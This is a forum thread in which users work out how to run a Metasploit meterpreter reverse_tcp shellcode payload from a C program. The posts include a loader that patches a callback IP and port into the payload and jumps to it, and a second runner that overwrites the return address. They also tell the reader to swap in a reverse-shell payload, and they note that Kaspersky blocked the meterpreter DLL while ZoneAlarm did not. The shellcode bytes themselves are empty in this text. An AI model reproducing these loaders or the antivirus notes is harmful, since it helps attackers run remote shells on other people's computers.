Results 1 to 3 of 3

Thread: Running metasploit payload in C/C++ app

  1. #1
    Just burned his ISO
    Join Date
    Feb 2007

    Default Running metasploit payload in C/C++ app


    I want to execute a metasploit reverse_tcp payload from my C code, but I don't know fully how to make it work properly. Here is the sample code I use to test it:

    // reverse_tcp.cpp : Defines the entry point for the console application.
    #include "stdafx.h"
    unsigned char payload[] =
    int main(int argc, char* argv[])
    	char ip[] = { 192, 168, 1, 213 };
    	char port[] = { 0x11, 0x5C };
    	memcpy( payload + 142, ip, 4 );
    	memcpy( payload + 148, port, 2 );
    	_asm {
    		lea eax, payload
    			call eax
    	printf( "started.\n" );
    	return 0;
    That code will raise an exception that it can't read address 0xffffffff. I tried using try-catch blocks and it made it not crash, but anyway Metasploit multi/handler gets stuck on "Upload completed" (I want to use meterpreter payload for uploading) and nothing happens after that. __try-__except blocks also didn't do the trick. The session will open when I exit the program, but it will close immediatelly afterwards.
    Probably you know much better how to call the payload properly in C code to make it work properly.

    Black Dot

  2. #2
    Member imported_pynstrom's Avatar
    Join Date
    May 2008


    This C code should work, the payload here is (windows/exec CMD=calc.exe EXITFUNC=thread) encoded with the generic msf encoder.
    unsigned char shellcode[] = 
    int main()
      int *ret;
      ret = (int *)&ret + 2;
      (*ret) = (int)shellcode;
    I use the command line compiler included with MS Visual Studio for windoze and gcc for linux. Works fine. Just replace the shellcode with your reverse_tcp payload generated with msfpayload | msfencode.
    When hungry, eat your rice; when tired, close your eyes. Fools may laugh at me, but wise men will know what I mean. -- Lin-Chi
    - - - - - - - -
    I slept once, it was a Tuesday.

  3. #3
    Just burned his ISO
    Join Date
    Feb 2007


    Thanks for the suggestion with overwriting the return address, but it still crashes on trying to read 0xFFFFFFFF. The payload executes fine and it sends back the meterpreter stager from metasploit on my other laptop, but it just won't open the session. The target app crashes and metasploit gets stuck on "Upload completed.".

    Calc shellcode will run fine, but it seems it's just meterpreter reverse_tcp payload that is having a problem.

    EDIT: Ok, sorry, my problem was caused by Kaspersky who is probably protecting the computer from putting metsrv.dll into system32 directory. I checked on my desktop with ZoneAlarm installed and it works like a charm.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts